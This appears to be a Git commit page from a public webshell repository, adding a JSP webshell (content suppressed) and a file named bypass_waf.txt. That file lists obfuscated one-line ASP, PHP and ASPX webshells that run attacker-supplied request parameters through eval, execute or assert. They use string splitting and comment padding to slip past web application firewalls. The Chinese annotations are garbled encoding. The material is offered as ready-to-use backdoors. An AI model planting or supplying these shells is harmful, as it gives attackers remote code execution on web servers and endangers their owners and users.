PenTest/webshell
1
0
Fork 0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 04:41:28 +00:00
Code Issues Projects Releases Wiki Activity

add jsp webshell

Browse Source
This commit is contained in:
tennc
2014-05-22 11:16:17 +08:00
parent 0119015514
commit ed9357828a
2 changed files with 2364 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2323
jsp/date.jsp.txt Normal file
View File

File diff suppressed because it is too large Load Diff

41
other/bypass_waf.txt Normal file
View File

@@ -0,0 +1,41 @@
<EFBFBD><EFBFBD><EFBFBD>ֹ<EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><EFBFBD>һ<EFBFBD>仰ľ<EFBFBD><EFBFBD>aspx,aspһ<70>仰,phpһ<70>仰
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ե<EFBFBD>asp--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǽ <20><><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<%Y=request("x")%> <%execute(Y)%>
<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>90<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>-7
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ե<EFBFBD>php--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǽ <20><><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?>
<?php $lang = (string)key($_POST);$lang($_POST['sz']); ?>
<?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?>
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>90<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>-7
aspx<EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4>---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>֧<EFBFBD><D6A7>aspx <20>ٷ<EFBFBD>֮8/90֧<30><D6A7>asp
90<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>-7
<%@ Page Language="Jscript"%><%eval(Request.Item["sz"],"unsafe");%>
<script language="C#" runat="server"> WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10"); </script>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>webadmin